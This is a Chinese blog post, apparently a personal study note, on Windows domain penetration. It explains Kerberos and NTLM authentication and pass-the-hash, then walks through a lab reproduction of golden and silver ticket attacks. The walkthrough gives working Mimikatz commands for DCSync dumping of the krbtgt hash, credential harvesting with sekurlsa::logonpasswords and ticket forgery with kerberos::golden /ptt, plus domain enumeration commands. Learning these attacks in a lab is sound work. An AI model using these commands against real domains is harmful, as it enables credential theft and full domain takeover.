域渗透之Kerberos认证协议

本文最后更新于:2022年8月18日 下午

Kerberos认证协议

《信息系统安全概论》书中对kerberos协议流程做了简化,如下所示

a

在此用下图做说明

a

KDC(密钥分发中心)包含身份认证服务器和服务审批服务器(用于票据授权服务TGS)

DC是域控制器;AD是活动目录。
DC中有一个特殊用户叫做:krbtgt,它是一个无法登录的账户,是在创建域时系统自动创建的,在整个kerberos认证中会多次用到它的Hash值去做验证。
AD会维护一个Account Database(账户数据库). 它存储了域中所有用户的密码Hash和白名单。只有账户密码都在白名单中的Client才能申请到TGT(票据分发票据)。

目前Kerberos认证协议还添加了客户端认证服务端身份的步骤,这里暂时不做记录。

要注意的是,身份认证服务器和服务审批服务器发送给客户端的[Tgrant]Kgrant即TGT就是用krbtgt的NTLM密码hash加密的数据。

NTLM认证协议

NTLM验证是一种Challenge/Response 验证机制,由三种消息组成:通常称为type 1(协商),类型type 2(质询)和type 3(身份验证)。

x

1.(交互式登录到某客户机)用户使用:域名、用户名、密码,登陆到某台客户端。客户端计算并存储用户密码的加密散列值(Hash),然后将真实的密码丢掉(即不保存用户真实的密码)

2.客户端将用户名以纯文本的方式发送到要访问的服务器

3.服务器产生一个 16 字节的随机数并将该随机数发送给客户端,该随机数通常称为:挑战(Challenge)

4.客户端使用用户密码的散列值加密服务器发送过来的 Challenge,并将结果发回给服务器, 该步骤通常称为:应答 (Response)

5.服务器将这三项内容发送到域控制器 (Domain Controller) ,域控进行相同的运算产生response2,和客户端发来的response进行对比。

Kerberos和NTLM比较

Kerberos较之NTLM更高效、更安全,同时认证过程也相对复杂。

哈希传递

哈希传递是一种技术,攻击者无需解密哈希即获得的纯文本密码。PTH攻击利用身份验证协议,因为密码哈希对于每个会话都保持静态,直到密码被转换为止。攻击者通过抓取系统的活动内存和其他技术来获取哈希。

kerberos中AS-REQ阶段的Authenticator是由用户密码Hash加密的,如果得到了某台主机的Administrator用户的LM-Hash和NTLM-Hash ,并且该主机的445端口打开着。则可以利用哈希传递。

(注意:只能是administrator用户的LM-Hash和NTLM-hash。其他本地管理员都不行

PS:密码Hash中冒号前半段为LM Hash,冒号后半段为NTLM Hash,由于LM Hash算法被弃用,NTLM Hash被用来进行Windows本地及远程身份验证的凭据,长度为32bit、由数字和字母组成。

在工作组环境中

只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。

在域环境中

只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。

黄金票据

原理

身份认证服务器给客户端发送两个票据,一个是和服务审批服务器交互的session key,另一个是TGT。

但是这个session key并不会保存在KDC中,而且krbtgt的NTLM的hash是固定的,所以只要得到这个hash,就可以伪造TGT和session key,从而直接和服务审批服务器进行验证。

这个被伪造出来的TGT(票据授予票据)就是黄金票据。

黄金票据其实就是kerberos认证的第二个阶段中的tgs的ticket也就是TGT。这个ticket相当于对请求端的一个身份认证的凭据,如果可以伪造这个ticket,那么就可以伪造任意身份,而黄金票据就是一个实现方式。

下面的实验就是伪造Administrator

黄金票据条件

1.域名称
2.域的SID值
3.域的krbtgt账户NTLM密码哈希
4.伪造的用户名

复现过程

一旦攻击者拥有管理员访问域控制器的权限,就可以使用Mimikatz来提取KRBTGT帐户密码哈希值。

1.导出krbtgt的Hash

域控上执行如下命令

1
mimikatz log "lsadump::dcsync /domain:vulntarget.com /user:krbtgt"

域控上的hash值a3dd8e4a352b346f110b587e1d1d1936

image-20220318093907990

域控上的SIDS-1-5-21-3795598892-1521228294-2653055093-502

image-20220318093945235域成员上用的cmd窗口

1
2
3
4
5
6
7
8
9
10
11
进入mimikatz
mimikatz

清空票据
kerberos::purge

查看是否清空
kerberos::list

然后退出
exit

运行一下命令,注意要去掉最后的一部分502,这里伪造Administrator用户身份

1
2
3
4
5
mimikatz "kerberos::golden /user:Administrator /domain:vulntarget.com /sid:S-1-5-21-3795598892-1521228294-2653055093 /krbtgt:a3dd8e4a352b346f110b587e1d1d1936 /ptt" exit

Administrator: 当前域用户名称
vulntarget.com: 域名
ptt: 不导出票据文件,直接保存在内存里

image-20220318094251987

再次查看list

image-20220318094314657

执行只有Administrator才有权限的命令,导出域内krbtgt用户的账号密码

1
2
3
4
5
mimikatz

lsadump::dcsync /domain:vulntarget.com /user:krbtgt

exit

成功执行。

image-20220318094441173

在清空一下黄金票据

1
2
3
mimikatz

kerberos::purge

再运行相同的命令lsadump::dcsync /domain:jgc.com /user:krbtgt,发现失败了。

image-20220318100303944

1
2
3
4
获取域用户列表		net user /domain
获取域管理员里列表 net group "domain admins" /domain
查看域控制器 net group "domain controllers" /domain
查看域机器 net group "domain computers" /domain

白银票据

原理

kerberos最后,客户端带着ST和[Qserver]Ksess-2,服务端用自己的保存的一个key(Kserv)来解密ST,从而获得Ksess-2,进而验证客户端身份。

白银票据就是拿到伪造的ST,从而不绕过KDC前面的步骤,但是伪造的门票只对部分服务起作用。

主要是用来伪造自己有某种服务的权限

白银票据条件

域名

域SID

域服务名

服务的密码hash

复现过程

获取域控SID,和服务器上的密码hash

1
mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit

查看域控信息

image-20220318102309825

image-20220318102249229

到客户端伪造服务权限

1
2
3
4
5
mimikatz "kerberos::golden /domain:vulntarget.com /sid:S-1-5-21-3795598892-1521228294-2653055093 /target:win2019.vulntarget.com /service:cifs /rc4:9b43daec0127dfa40d3707f4d46d60b6 /user:win2016 /ptt" exit

win2019.vulntarget.com: 域中访问服务器的计算机全名
cifs: 一个远程访问的协议服务
jgc: 客户端在域中的名字

可以看到本机有了在域控中的访问权限

image-20220318102859031

如果清空票据后,权限就没有了

黄金票据和白银票据区别

黄金票据是在绕过和身份认证服务器的交互,但是和服务审批服务器交互,即会同KDC交互,伪造域中的其他用户,如果伪造了Administrator用户,就有很高的权限。

白银票据是绕过了和KDC的交互,直接伪造本地用户能访问指定的用户,如cifs。

Kerberos认证就两个阶段,


域渗透之Kerberos认证协议
https://genioco.github.io/2022/07/12/Learn/黄金票据与白银票据/
作者
BadWolf
发布于
2022年7月12日
许可协议